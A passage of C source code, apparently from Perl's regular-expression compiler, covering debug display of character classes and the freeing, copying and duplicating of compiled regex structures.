*/ SV *only_utf8_locale_invlist = NULL; /* Code points that don't fit in the bitmap */ SV *nonbitmap_invlist = NULL; /* And things that aren't in the bitmap, but are small enough to be */ SV* bitmap_range_not_in_bitmap = NULL; const bool inverted = flags & ANYOF_INVERT; if (OP(o) == ANYOFL || OP(o) == ANYOFPOSIXL) { if (ANYOFL_UTF8_LOCALE_REQD(flags)) { sv_catpvs(sv, "{utf8-locale-reqd}"); } if (flags & ANYOFL_FOLD) { sv_catpvs(sv, "{i}"); } } /* If there is stuff outside the bitmap, get it */ if (ARG(o) != ANYOF_ONLY_HAS_BITMAP) { (void) _get_regclass_nonbitmap_data(prog, o, FALSE, &unresolved, &only_utf8_locale_invlist, &nonbitmap_invlist); /* The non-bitmap data may contain stuff that could fit in the * bitmap. This could come from a user-defined property being * finally resolved when this call was done; or much more likely * because there are matches that require UTF-8 to be valid, and so * aren't in the bitmap. This is teased apart later */ _invlist_intersection(nonbitmap_invlist, PL_InBitmap, &bitmap_range_not_in_bitmap); /* Leave just the things that don't fit into the bitmap */ _invlist_subtract(nonbitmap_invlist, PL_InBitmap, &nonbitmap_invlist); } /* Obey this flag to add all above-the-bitmap code points */ if (flags & ANYOF_MATCHES_ALL_ABOVE_BITMAP) { nonbitmap_invlist = _add_range_to_invlist(nonbitmap_invlist, NUM_ANYOF_CODE_POINTS, UV_MAX); } /* Ready to start outputting. First, the initial left bracket */ Perl_sv_catpvf(aTHX_ sv, "[%s", PL_colors[0]); if (OP(o) != ANYOFH) { /* Then all the things that could fit in the bitmap */ do_sep = put_charclass_bitmap_innards(sv, ANYOF_BITMAP(o), bitmap_range_not_in_bitmap, only_utf8_locale_invlist, o, /* Can't try inverting for a * better display if there * are things that haven't * been resolved */ unresolved != NULL); SvREFCNT_dec(bitmap_range_not_in_bitmap); /* If there are user-defined properties which haven't been defined * yet, output them. If the result is not to be inverted, it is * clearest to output them in a separate [] from the bitmap range * stuff. If the result is to be complemented, we have to show * everything in one [], as the inversion applies to the whole * thing. Use {braces} to separate them from anything in the * bitmap and anything above the bitmap. */ if (unresolved) { if (inverted) { if (! do_sep) { /* If didn't output anything in the bitmap */ sv_catpvs(sv, "^"); } sv_catpvs(sv, "{"); } else if (do_sep) { Perl_sv_catpvf(aTHX_ sv,"%s][%s", PL_colors[1], PL_colors[0]); } sv_catsv(sv, unresolved); if (inverted) { sv_catpvs(sv, "}"); } do_sep = ! inverted; } } /* And, finally, add the above-the-bitmap stuff */ if (nonbitmap_invlist && _invlist_len(nonbitmap_invlist)) { SV* contents; /* See if truncation size is overridden */ const STRLEN dump_len = (PL_dump_re_max_len > 256) ? PL_dump_re_max_len : 256; /* This is output in a separate [] */ if (do_sep) { Perl_sv_catpvf(aTHX_ sv,"%s][%s", PL_colors[1], PL_colors[0]); } /* And, for easy of understanding, it is shown in the * uncomplemented form if possible. The one exception being if * there are unresolved items, where the inversion has to be * delayed until runtime */ if (inverted && ! unresolved) { _invlist_invert(nonbitmap_invlist); _invlist_subtract(nonbitmap_invlist, PL_InBitmap, &nonbitmap_invlist); } contents = invlist_contents(nonbitmap_invlist, FALSE /* output suitable for catsv */ ); /* If the output is shorter than the permissible maximum, just do it. */ if (SvCUR(contents) <= dump_len) { sv_catsv(sv, contents); } else { const char * contents_string = SvPVX(contents); STRLEN i = dump_len; /* Otherwise, start at the permissible max and work back to the * first break possibility */ while (i > 0 && contents_string[i] != ' ') { i--; } if (i == 0) { /* Fail-safe. Use the max if we couldn't find a legal break */ i = dump_len; } sv_catpvn(sv, contents_string, i); sv_catpvs(sv, "..."); } SvREFCNT_dec_NN(contents); SvREFCNT_dec_NN(nonbitmap_invlist); } /* And finally the matching, closing ']' */ Perl_sv_catpvf(aTHX_ sv, "%s]", PL_colors[1]); if (OP(o) == ANYOFH && FLAGS(o) != 0) { Perl_sv_catpvf(aTHX_ sv, " (First UTF-8 byte=\\x%02x)", FLAGS(o)); } SvREFCNT_dec(unresolved); } else if (k == ANYOFM) { SV * cp_list = get_ANYOFM_contents(o); Perl_sv_catpvf(aTHX_ sv, "[%s", PL_colors[0]); if (OP(o) == NANYOFM) { _invlist_invert(cp_list); } put_charclass_bitmap_innards(sv, NULL, cp_list, NULL, NULL, TRUE); Perl_sv_catpvf(aTHX_ sv, "%s]", PL_colors[1]); SvREFCNT_dec(cp_list); } else if (k == POSIXD || k == NPOSIXD) { U8 index = FLAGS(o) * 2; if (index < C_ARRAY_LENGTH(anyofs)) { if (*anyofs[index] != '[') { sv_catpvs(sv, "["); } sv_catpv(sv, anyofs[index]); if (*anyofs[index] != '[') { sv_catpvs(sv, "]"); } } else { Perl_sv_catpvf(aTHX_ sv, "[illegal type=%d])", index); } } else if (k == BOUND || k == NBOUND) { /* Must be synced with order of 'bound_type' in regcomp.h */ const char * const bounds[] = { "", /* Traditional */ "{gcb}", "{lb}", "{sb}", "{wb}" }; assert(FLAGS(o) < C_ARRAY_LENGTH(bounds)); sv_catpv(sv, bounds[FLAGS(o)]); } else if (k == BRANCHJ && (OP(o) == UNLESSM || OP(o) == IFMATCH)) { Perl_sv_catpvf(aTHX_ sv, "[%d", -(o->flags)); if (o->next_off) { Perl_sv_catpvf(aTHX_ sv, "..-%d", o->flags - o->next_off); } Perl_sv_catpvf(aTHX_ sv, "]"); } else if (OP(o) == SBOL) Perl_sv_catpvf(aTHX_ sv, " /%s/", o->flags ? "\\A" : "^"); /* add on the verb argument if there is one */ if ( ( k == VERB || OP(o) == ACCEPT || OP(o) == OPFAIL ) && o->flags) { if ( ARG(o) ) Perl_sv_catpvf(aTHX_ sv, ":%" SVf, SVfARG((MUTABLE_SV(progi->data->data[ ARG( o ) ])))); else sv_catpvs(sv, ":NULL"); } #else PERL_UNUSED_CONTEXT; PERL_UNUSED_ARG(sv); PERL_UNUSED_ARG(o); PERL_UNUSED_ARG(prog); PERL_UNUSED_ARG(reginfo); PERL_UNUSED_ARG(pRExC_state); #endif /* DEBUGGING */ } SV * Perl_re_intuit_string(pTHX_ REGEXP * const r) { /* Assume that RE_INTUIT is set */ struct regexp *const prog = ReANY(r); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_RE_INTUIT_STRING; PERL_UNUSED_CONTEXT; DEBUG_COMPILE_r( { const char * const s = SvPV_nolen_const(RX_UTF8(r) ? prog->check_utf8 : prog->check_substr); if (!PL_colorset) reginitcolors(); Perl_re_printf( aTHX_ "%sUsing REx %ssubstr:%s \"%s%.60s%s%s\"\n", PL_colors[4], RX_UTF8(r) ? "utf8 " : "", PL_colors[5], PL_colors[0], s, PL_colors[1], (strlen(s) > PL_dump_re_max_len ? "..." : "")); } ); /* use UTF8 check substring if regexp pattern itself is in UTF8 */ return RX_UTF8(r) ? prog->check_utf8 : prog->check_substr; } /* pregfree() handles refcounting and freeing the perl core regexp structure. When it is necessary to actually free the structure the first thing it does is call the 'free' method of the regexp_engine associated to the regexp, allowing the handling of the void *pprivate; member first. (This routine is not overridable by extensions, which is why the extensions free is called first.) See regdupe and regdupe_internal if you change anything here. */ #ifndef PERL_IN_XSUB_RE void Perl_pregfree(pTHX_ REGEXP *r) { SvREFCNT_dec(r); } void Perl_pregfree2(pTHX_ REGEXP *rx) { struct regexp *const r = ReANY(rx); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_PREGFREE2; if (! r) return; if (r->mother_re) { ReREFCNT_dec(r->mother_re); } else { CALLREGFREE_PVT(rx); /* free the private data */ SvREFCNT_dec(RXp_PAREN_NAMES(r)); } if (r->substrs) { int i; for (i = 0; i < 2; i++) { SvREFCNT_dec(r->substrs->data[i].substr); SvREFCNT_dec(r->substrs->data[i].utf8_substr); } Safefree(r->substrs); } RX_MATCH_COPY_FREE(rx); #ifdef PERL_ANY_COW SvREFCNT_dec(r->saved_copy); #endif Safefree(r->offs); SvREFCNT_dec(r->qr_anoncv); if (r->recurse_locinput) Safefree(r->recurse_locinput); } /* reg_temp_copy() Copy ssv to dsv, both of which should of type SVt_REGEXP or SVt_PVLV, except that dsv will be created if NULL. This function is used in two main ways. First to implement $r = qr/....; $s = $$r; Secondly, it is used as a hacky workaround to the structural issue of match results being stored in the regexp structure which is in turn stored in PL_curpm/PL_reg_curpm. The problem is that due to qr// the pattern could be PL_curpm in multiple contexts, and could require multiple result sets being associated with the pattern simultaneously, such as when doing a recursive match with (??{$qr}) The solution is to make a lightweight copy of the regexp structure when a qr// is returned from the code executed by (??{$qr}) this lightweight copy doesn't actually own any of its data except for the starp/end and the actual regexp structure itself. */ REGEXP * Perl_reg_temp_copy(pTHX_ REGEXP *dsv, REGEXP *ssv) { struct regexp *drx; struct regexp *const srx = ReANY(ssv); const bool islv = dsv && SvTYPE(dsv) == SVt_PVLV; PERL_ARGS_ASSERT_REG_TEMP_COPY; if (!dsv) dsv = (REGEXP*) newSV_type(SVt_REGEXP); else { assert(SvTYPE(dsv) == SVt_REGEXP || (SvTYPE(dsv) == SVt_PVLV)); /* our only valid caller, sv_setsv_flags(), should have done * a SV_CHECK_THINKFIRST_COW_DROP() by now */ assert(!SvOOK(dsv)); assert(!SvIsCOW(dsv)); assert(!SvROK(dsv)); if (SvPVX_const(dsv)) { if (SvLEN(dsv)) Safefree(SvPVX(dsv)); SvPVX(dsv) = NULL; } SvLEN_set(dsv, 0); SvCUR_set(dsv, 0); SvOK_off((SV *)dsv); if (islv) { /* For PVLVs, the head (sv_any) points to an XPVLV, while * the LV's xpvlenu_rx will point to a regexp body, which * we allocate here */ REGEXP *temp = (REGEXP *)newSV_type(SVt_REGEXP); assert(!SvPVX(dsv)); ((XPV*)SvANY(dsv))->xpv_len_u.xpvlenu_rx = temp->sv_any; temp->sv_any = NULL; SvFLAGS(temp) = (SvFLAGS(temp) & ~SVTYPEMASK) | SVt_NULL; SvREFCNT_dec_NN(temp); /* SvCUR still resides in the xpvlv struct, so the regexp copy- ing below will not set it. */ SvCUR_set(dsv, SvCUR(ssv)); } } /* This ensures that SvTHINKFIRST(sv) is true, and hence that sv_force_normal(sv) is called. */ SvFAKE_on(dsv); drx = ReANY(dsv); SvFLAGS(dsv) |= SvFLAGS(ssv) & (SVf_POK|SVp_POK|SVf_UTF8); SvPV_set(dsv, RX_WRAPPED(ssv)); /* We share the same string buffer as the original regexp, on which we hold a reference count, incremented when mother_re is set below. The string pointer is copied here, being part of the regexp struct. */ memcpy(&(drx->xpv_cur), &(srx->xpv_cur), sizeof(regexp) - STRUCT_OFFSET(regexp, xpv_cur)); if (!islv) SvLEN_set(dsv, 0); if (srx->offs) { const I32 npar = srx->nparens+1; Newx(drx->offs, npar, regexp_paren_pair); Copy(srx->offs, drx->offs, npar, regexp_paren_pair); } if (srx->substrs) { int i; Newx(drx->substrs, 1, struct reg_substr_data); StructCopy(srx->substrs, drx->substrs, struct reg_substr_data); for (i = 0; i < 2; i++) { SvREFCNT_inc_void(drx->substrs->data[i].substr); SvREFCNT_inc_void(drx->substrs->data[i].utf8_substr); } /* check_substr and check_utf8, if non-NULL, point to either their anchored or float namesakes, and don't hold a second reference. */ } RX_MATCH_COPIED_off(dsv); #ifdef PERL_ANY_COW drx->saved_copy = NULL; #endif drx->mother_re = ReREFCNT_inc(srx->mother_re ? srx->mother_re : ssv); SvREFCNT_inc_void(drx->qr_anoncv); if (srx->recurse_locinput) Newx(drx->recurse_locinput, srx->nparens + 1, char *); return dsv; } #endif /* regfree_internal() Free the private data in a regexp. This is overloadable by extensions. Perl takes care of the regexp structure in pregfree(), this covers the *pprivate pointer which technically perl doesn't know about, however of course we have to handle the regexp_internal structure when no extension is in use. Note this is called before freeing anything in the regexp structure. */ void Perl_regfree_internal(pTHX_ REGEXP * const rx) { struct regexp *const r = ReANY(rx); RXi_GET_DECL(r, ri); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGFREE_INTERNAL; if (! ri) { return; } DEBUG_COMPILE_r({ if (!PL_colorset) reginitcolors(); { SV *dsv= sv_newmortal(); RE_PV_QUOTED_DECL(s, RX_UTF8(rx), dsv, RX_PRECOMP(rx), RX_PRELEN(rx), PL_dump_re_max_len); Perl_re_printf( aTHX_ "%sFreeing REx:%s %s\n", PL_colors[4], PL_colors[5], s); } }); #ifdef RE_TRACK_PATTERN_OFFSETS if (ri->u.offsets) Safefree(ri->u.offsets); /* 20010421 MJD */ #endif if (ri->code_blocks) S_free_codeblocks(aTHX_ ri->code_blocks); if (ri->data) { int n = ri->data->count; while (--n >= 0) { /* If you add a ->what type here, update the comment in regcomp.h */ switch (ri->data->what[n]) { case 'a': case 'r': case 's': case 'S': case 'u': SvREFCNT_dec(MUTABLE_SV(ri->data->data[n])); break; case 'f': Safefree(ri->data->data[n]); break; case 'l': case 'L': break; case 'T': { /* Aho Corasick add-on structure for a trie node. Used in stclass optimization only */ U32 refcount; reg_ac_data *aho=(reg_ac_data*)ri->data->data[n]; #ifdef USE_ITHREADS dVAR; #endif OP_REFCNT_LOCK; refcount = --aho->refcount; OP_REFCNT_UNLOCK; if ( !refcount ) { PerlMemShared_free(aho->states); PerlMemShared_free(aho->fail); /* do this last!!!! */ PerlMemShared_free(ri->data->data[n]); /* we should only ever get called once, so * assert as much, and also guard the free * which /might/ happen twice. At the least * it will make code anlyzers happy and it * doesn't cost much. - Yves */ assert(ri->regstclass); if (ri->regstclass) { PerlMemShared_free(ri->regstclass); ri->regstclass = 0; } } } break; case 't': { /* trie structure. */ U32 refcount; reg_trie_data *trie=(reg_trie_data*)ri->data->data[n]; #ifdef USE_ITHREADS dVAR; #endif OP_REFCNT_LOCK; refcount = --trie->refcount; OP_REFCNT_UNLOCK; if ( !refcount ) { PerlMemShared_free(trie->charmap); PerlMemShared_free(trie->states); PerlMemShared_free(trie->trans); if (trie->bitmap) PerlMemShared_free(trie->bitmap); if (trie->jump) PerlMemShared_free(trie->jump); PerlMemShared_free(trie->wordinfo); /* do this last!!!! */ PerlMemShared_free(ri->data->data[n]); } } break; default: Perl_croak(aTHX_ "panic: regfree data code '%c'", ri->data->what[n]); } } Safefree(ri->data->what); Safefree(ri->data); } Safefree(ri); } #define av_dup_inc(s, t) MUTABLE_AV(sv_dup_inc((const SV *)s, t)) #define hv_dup_inc(s, t) MUTABLE_HV(sv_dup_inc((const SV *)s, t)) #define SAVEPVN(p, n) ((p) ? savepvn(p, n) : NULL) /* re_dup_guts - duplicate a regexp. This routine is expected to clone a given regexp structure. It is only compiled under USE_ITHREADS. After all of the core data stored in struct regexp is duplicated the regexp_engine.dupe method is used to copy any private data stored in the *pprivate pointer. This allows extensions to handle any duplication it needs to do. See pregfree() and regfree_internal() if you change anything here. */ #if defined(USE_ITHREADS) #ifndef PERL_IN_XSUB_RE void Perl_re_dup_guts(pTHX_ const REGEXP *sstr, REGEXP *dstr, CLONE_PARAMS *param) { dVAR; I32 npar; const struct regexp *r = ReANY(sstr); struct regexp *ret = ReANY(dstr); PERL_ARGS_ASSERT_RE_DUP_GUTS; npar = r->nparens+1; Newx(ret->offs, npar, regexp_paren_pair); Copy(r->offs, ret->offs, npar, regexp_paren_pair); if (ret->substrs) { /* Do it this way to avoid reading from *r after the StructCopy(). That way, if any of the sv_dup_inc()s dislodge *r from the L1 cache, it doesn't matter. */ int i; const bool anchored = r->check_substr ? r->check_substr == r->substrs->data[0].substr : r->check_utf8 == r->substrs->data[0].utf8_substr; Newx(ret->substrs, 1, struct reg_substr_data); StructCopy(r->substrs, ret->substrs, struct reg_substr_data); for (i = 0; i < 2; i++) { ret->substrs->data[i].substr = sv_dup_inc(ret->substrs->data[i].substr, param); ret->substrs->data[i].utf8_substr = sv_dup_inc(ret->substrs->data[i].utf8_substr, param); } /* check_substr and check_utf8, if non-NULL, point to either their anchored or float namesakes, and don't hold a second reference. */ if (ret->check_substr) { if (anchored) { assert(r->check_utf8 == r->substrs->data[0].utf8_substr); ret->check_substr = ret->substrs->data[0].substr; ret->check_utf8 = ret->substrs->data[0].utf8_substr; } else { assert(r->check_substr == r->substrs->data[1].substr); assert(r->check_utf8 == r->substrs->data[1].utf8_substr); ret->check_substr = ret->substrs->data[1].substr; ret->check_utf8 = ret->substrs->data[1].utf8_substr; } } else if (ret->check_utf8) { if (anchored) { ret->check_utf8 = ret->substrs->data[0].utf8_substr; } else { ret->check_utf8 = ret->substrs->data[1].utf8_substr; } } } RXp_PAREN_NAMES(ret) = hv_dup_inc(RXp_PAREN_NAMES(ret), param); ret->qr_anoncv = MUTABLE_CV(sv_dup_inc((const SV *)ret->qr_anoncv, param)); if (r->recurse_locinput) Newx(ret->recurse_locinput, r->nparens + 1, char *); if (ret->pprivate) RXi_SET(ret, CALLREGDUPE_PVT(dstr, param)); if (RX_MATCH_COPIED(dstr)) ret->subbeg = SAVEPVN(ret->subbeg, ret->sublen); else ret->subbeg = NULL; #ifdef PERL_ANY_COW ret->saved_copy = NULL; #endif /* Whether mother_re be set or no, we need to copy the string. We cannot refrain from copying it when the storage points directly to our mother regexp, because that's 1: a buffer in a different thread 2: something we no longer hold a reference on so we need to copy it locally. */ RX_WRAPPED(dstr) = SAVEPVN(RX_WRAPPED_const(sstr), SvCUR(sstr)+1); /* set malloced length to a non-zero value so it will be freed * (otherwise in combination with SVf_FAKE it looks like an alien * buffer). It doesn't have to be the actual malloced size, since it * should never be grown */ SvLEN_set(dstr, SvCUR(sstr)+1); ret->mother_re = NULL; } #endif /* PERL_IN_XSUB_RE */ /* regdupe_internal() This is the internal complement to regdupe() which is used to copy the structure pointed to by the *pprivate pointer in the regexp. This is the core version of the extension overridable cloning hook. The regexp structure being duplicated will be copied by perl prior to this and will be provided as the regexp *r argument, however with the /old/ structures pprivate pointer value. Thus this routine may override any copying normally done by perl. It returns a pointer to the new regexp_internal structure. */ void * Perl_regdupe_internal(pTHX_ REGEXP * const rx, CLONE_PARAMS *param) { dVAR; struct regexp *const r = ReANY(rx); regexp_internal *reti; int len; RXi_GET_DECL(r, ri); PERL_ARGS_ASSERT_REGDUPE_INTERNAL; len = ProgLen(ri); Newxc(reti, sizeof(regexp_internal) + len*sizeof(regnode), char, regexp_internal); Copy(ri->program, reti->program, len+1, regnode); if (ri->code_blocks) { int n; Newx(reti->code_blocks, 1, struct reg_code_blocks); Newx(reti->code_blocks->cb, ri->code_blocks->count, struct reg_code_block); Copy(ri->code_blocks->cb, reti->code_blocks->cb, ri->code_blocks->count, struct reg_code_block); for (n = 0; n < ri->code_blocks->count; n++) reti->code_blocks->cb[n].src_regex = (REGEXP*) sv_dup_inc((SV*)(ri->code_blocks->cb[n].src_regex), param); reti->code_blocks->count = ri->code_blocks->count; reti->code_blocks->refcnt = 1; } else reti->code_blocks = NULL; reti->regstclass = NULL; if (ri->data) { struct reg_data *d; const int count = ri->data->count; int i; Newxc(d, sizeof(struct reg_data) + count*sizeof(void *), char, struct reg_data); Newx(d->what, count, U8); d->count = count; for (i = 0; i < count; i++) { d->what[i] = ri->data->what[i]; switch (d->what[i]) { /* see also regcomp.h and regfree_internal() */ case 'a': /* actually an AV, but the dup function is identical. values seem to be "plain sv's" generally. */ case 'r': /* a compiled regex (but still just another SV) */ case 's': /* an RV (currently only used for an RV to an AV by the ANYOF code) this use case should go away, the code could have used 'a' instead - see S_set_ANYOF_arg() for array contents. */ case 'S': /* actually an SV, but the dup function is identical. */ case 'u': /* actually an HV, but the dup function is identical. values are "plain sv's" */ d->data[i] = sv_dup_inc((const SV *)ri->data->data[i], param); break; case 'f': /* Synthetic Start Class - "Fake" charclass we generate to optimize * patterns which could start with several different things. Pre-TRIE * this was more important than it is now, however this still helps * in some places, for instance /x?a+/ might produce a SSC equivalent * to [xa]. This is used by Perl_re_intuit_start() and S_find_byclass() * in regexec.c */ /* This is cheating. */ Newx(d->data[i], 1, regnode_ssc); StructCopy(ri->data->data[i], d->data[i], regnode_ssc); reti->regstclass = (regnode*)d->data[i]; break; case 'T': /* AHO-CORASICK fail table */ /* Trie stclasses are readonly and can thus be shared * without duplication. We free the stclass in pregfree * when the corresponding reg_ac_data struct is freed. */ reti->regstclass= ri->regstclass; /* FALLTHROUGH */ case 't': /* TRIE transition table */ OP_REFCNT_LOCK; ((reg_trie_data*)ri->data->data[i])->refcount++; OP_REFCNT_UNLOCK; /* FALLTHROUGH */ case 'l': /* (?{...}) or (??{ ... }) code (cb->block) */ case 'L': /* same when RExC_pm_flags & PMf_HAS_CV and code is not from another regexp */ d->data[i] = ri->data->data[i]; break; default: Perl_croak(aTHX_ "panic: re_dup_guts unknown data code '%c'", ri->data->what[i]); } } reti->data = d; } else reti->data = NULL; reti->name_list_idx = ri->name_list_idx; #ifdef RE_TRACK_PATTERN_OFFSETS if (ri->u.offsets) { Newx(reti->u.offsets, 2*len+1, U32); Copy(ri->u.offsets, reti->u.offsets, 2*len+1, U32); } #else SetProgLen(reti, len); #endif return (void*)reti; } #endif /* USE_ITHREADS */ #ifndef PERL_IN_XSUB_RE /* - regnext - dig the "next" pointer out of a node */ regnode * Perl_regnext(pTHX_ regnode *p) { I32 offset; if (!p) return(NULL); if (OP(p) > REGNODE_MAX) { /* regnode.type is unsigned */ Perl_croak(aTHX_ "Corrupted regexp opcode %d > %d", (int)OP(p), (int)REGNODE_MAX); } offset = (reg_off_by_arg[OP(p)] ? ARG(p) : NEXT_OFF(p)); if (offset == 0) return(NULL); return(p+offset); } #endif STATIC void S_re_croak2(pTHX_ bool utf8, const char* pat1, const char* pat2,...) { va_list args; STRLEN l1 = strlen(pat1); STRLEN l2 = strlen(pat2); char buf[512]; SV *msv; const char *message; PERL_ARGS_ASSERT_RE_CROAK2; if (l1 > 510) l1 = 510; if (l1 + l2 > 510) l2 = 510 - l1; Copy(pat1, buf, l1 , char); Copy(pat2, buf + l1, l2 , char); buf[l1 + l2] = '\n'; buf[l1 + l2 + 1] = '\0'; va_start(args, pat2); msv = vmess(buf, &args); va_end(args); message = SvPV_const(msv, l1); if (l1 > 512) l1 = 512; Copy(message, buf, l1 , char); /* l1-1 to avoid \n */ Perl_croak(aTHX_ "%" UTF8f, UTF8fARG(utf8, l1-1, buf)); } /* XXX Here's a total kludge. But we need to re-enter for swash routines. */ #ifndef PERL_IN_XSUB_RE void Perl_save_re_context(pTHX) { I32 nparens = -1; I32 i; /* Save $1..$n (#18107: UTF-8 s/(\w+)/uc($1)/e); AMS 20021106. */ if (PL_curpm) { const REGEXP * const rx = PM_GETRE(PL_curpm); if (rx) nparens = RX_NPARENS(rx); } /* RT #124109. This is a complete hack; in the SWASHNEW case we know * that PL_curpm will be null, but that utf8.pm and the modules it * loads will only use $1..$3. * The t/porting/re_context.t test file checks this assumption. */ if (nparens == -1) nparens = 3; for (i = 1; i <= nparens; i++) { char digits[TYPE_CHARS(long)]; const STRLEN len = my_snprintf(digits, sizeof(digits), "%lu", (long)i); GV *const *const gvp = (GV**)hv_fetch(PL_defstash, digits, len, 0); if (gvp) { GV * const gv = *gvp; if (SvTYPE(gv) == SVt_PVGV && GvSV(gv)) save_scalar(gv); } } } #endif #ifdef DEBUGGING STATIC void S_put_code_point(pTHX_ SV *sv, UV c) { PERL_ARGS_ASSERT_PUT_CODE_POINT; if (c > 255) { Perl_sv_catpvf(aTHX_ sv, "\\x{%04" UVXf "}", c); } else if (isPRINT(c)) { const char string = (char) c; /* We use {phrase} as metanotation in the class, so also escape literal * braces */ if (isBACKSLASHED_PUNCT(c) || c == '{' || c == '}') sv_catpvs(sv, "\\"); sv_catpvn(sv, &string, 1); } else if (isMNEMONIC_CNTRL(c)) { Perl_sv_catpvf(aTHX_ sv, "%s", cntrl_to_mnemonic((U8) c)); } else { Perl_sv_catpvf(aTHX_ sv, "\\x%02X", (U8) c); } } #define MAX_PRINT_A MAX_PRINT_A_FOR_USE_ONLY_BY_REGCOMP_DOT_C STATIC void S_put_range(pTHX_ SV *sv, UV start, const UV end, const bool allow_literals) { /* Appends to 'sv' a displayable version of the range of code points from * 'start' to 'end'. Mnemonics (like '\r') are used for the few controls * that have them, when they occur at the beginning or end of the range. * It uses hex to output the remaining code points, unless 'allow_literals' * is true, in which case the printable ASCII ones are output as-is (though * some of these will be escaped by put_code_point()). * * NOTE: This is designed only for printing ranges of code points that fit * inside an ANYOF bitmap. Higher code points are simply suppressed */ const unsigned int min_range_count = 3; assert(start <= end); PERL_ARGS_ASSERT_PUT_RANGE; while (start <= end) { UV this_end; const char * format; if (end - start < min_range_count) { /* Output chars individually when they occur in short ranges */ for (; start <= end; start++) { put_code_point(sv, start); } break; } /* If permitted by the input options, and there is a possibility that * this range contains a printable literal, look to see if there is * one. */ if (allow_literals && start <= MAX_PRINT_A) { /* If the character at the beginning of the range isn't an ASCII * printable, effectively split the range into two parts: * 1) the portion before the first such printable, * 2) the rest * and output them separately. */ if (! isPRINT_A(start)) { UV temp_end = start + 1; /* There is no point looking beyond the final possible * printable, in MAX_PRINT_A */ UV max = MIN(end, MAX_PRINT_A); while (temp_end <= max && ! isPRINT_A(temp_end)) { temp_end++; } /* Here, temp_end points to one beyond the first printable if * found, or to one beyond 'max' if not. If none found, make * sure that we use the entire range */ if (temp_end > MAX_PRINT_A) { temp_end = end + 1; } /* Output the first part of the split range: the part that * doesn't have printables, with the parameter set to not look * for literals (otherwise we would infinitely recurse) */ put_range(sv, start, temp_end - 1, FALSE); /* The 2nd part of the range (if any) starts here. */ start = temp_end; /* We do a continue, instead of dropping down, because even if * the 2nd part is non-empty, it could be so short that we want * to output it as individual characters, as tested for at the * top of this loop. */ continue; } /* Here, 'start' is a printable ASCII. If it is an alphanumeric, * output a sub-range of just the digits or letters, then process * the remaining portion as usual. */ if (isALPHANUMERIC_A(start)) { UV mask = (isDIGIT_A(start)) ? _CC_DIGIT : isUPPER_A(start) ? _CC_UPPER : _CC_LOWER; UV temp_end = start + 1; /* Find the end of the sub-range that includes just the * characters in the same class as the first character in it */ while (temp_end <= end && _generic_isCC_A(temp_end, mask)) { temp_end++; } temp_end--; /* For short ranges, don't duplicate the code above to output * them; just call recursively */ if (temp_end - start < min_range_count) { put_range(sv, start, temp_end, FALSE); } else { /* Output as a range */ put_code_point(sv, start); sv_catpvs(sv, "-"); put_code_point(sv, temp_end); } start = temp_end + 1; continue; } /* We output any other printables as individual characters */ if (isPUNCT_A(start) || isSPACE_A(start)) { while (start <= end && (isPUNCT_A(start) || isSPACE_A(start))) { put_code_point(sv, start); start++; } continue; } } /* End of looking for literals */ /* Here is not to output as a literal. Some control characters have * mnemonic names. Split off any of those at the beginning and end of * the range to print mnemonically. It isn't possible for many of * these to be in a row, so this won't overwhelm with output */ if ( start <= end && (isMNEMONIC_CNTRL(start) || isMNEMONIC_CNTRL(end))) { while (isMNEMONIC_CNTRL(start) && start <= end) { put_code_point(sv, start); start++; } /* If this didn't take care of the whole range ... */ if (start <= end) { /* Look backwards from the end to find the final non-mnemonic * */ UV temp_end = end; while (isMNEMONIC_CNTRL(temp_end)) { temp_end--; } /* And separately output the interior range that doesn't start * or end with mnemonics */ put_range(sv, start, temp_end, FALSE); /* Then output the mnemonic trailing controls */ start = temp_end + 1; while (start <= end) { put_code_point(sv, start); start++; } break; } } /* As a final resort, output the range or subrange as hex. */ this_end = (end < NUM_ANYOF_CODE_POINTS) ? end : NUM_ANYOF_CODE_POINTS - 1; #if NUM_ANYOF_CODE_POINTS > 256 format = (this_end < 256) ? "\\x%02" UVXf "-\\x%02" UVXf : "\\x{%04" UVXf "}-\\x{%04" UVXf "}"; #else format = "\\x%02" UVXf "-\\x%02" UVXf; #endif GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); Perl_sv_catpvf(aTHX_ sv, format, start, this_end); GCC_DIAG_RESTORE_STMT; break; } } STATIC void S_put_charclass_bitmap_innards_invlist(pTHX_ SV *sv, SV* invlist) { /* Concatenate onto the PV in 'sv' a displayable form of the inversion list * 'invlist' */ UV start, end; bool allow_literals = TRUE; PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS_INVLIST; /* Generally, it is more readable if printable characters are output as * literals, but if a range (nearly) spans all of them, it's best to output * it as a single range. This code will use a single range if all but 2 * ASCII printables are in it */ invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { /* If the range starts beyond the final printable, it doesn't have any * in it */ if (start > MAX_PRINT_A) { break; } /* In both ASCII and EBCDIC, a SPACE is the lowest printable. To span * all but two, the range must start and end no later than 2 from * either end */ if (start < ' ' + 2 && end > MAX_PRINT_A - 2) { if (end > MAX_PRINT_A) { end = MAX_PRINT_A; } if (start < ' ') { start = ' '; } if (end - start >= MAX_PRINT_A - ' ' - 2) { allow_literals = FALSE; } break; } } invlist_iterfinish(invlist); /* Here we have figured things out. Output each range */ invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (start >= NUM_ANYOF_CODE_POINTS) { break; } put_range(sv, start, end, allow_literals); } invlist_iterfinish(invlist); return; } STATIC SV* S_put_charclass_bitmap_innards_common(pTHX_ SV* invlist, /* The bitmap */ SV* posixes, /* Under /l, things like [:word:], \S */ SV* only_utf8, /* Under /d, matches iff the target is UTF-8 */ SV* not_utf8, /* /d, matches iff the target isn't UTF-8 */ SV* only_utf8_locale, /* Under /l, matches if the locale is UTF-8 */ const bool invert /* Is the result to be inverted? */ ) { /* Create and return an SV containing a displayable version of the bitmap * and associated information determined by the input parameters. If the * output would have been only the inversion indicator '^', NULL is instead * returned. */ dVAR; SV * output; PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS_COMMON; if (invert) { output = newSVpvs("^"); } else { output = newSVpvs(""); } /* First, the code points in the bitmap that are unconditionally there */ put_charclass_bitmap_innards_invlist(output, invlist); /* Traditionally, these have been placed after the main code points */ if (posixes) { sv_catsv(output, posixes); } if (only_utf8 && _invlist_len(only_utf8)) { Perl_sv_catpvf(aTHX_ output, 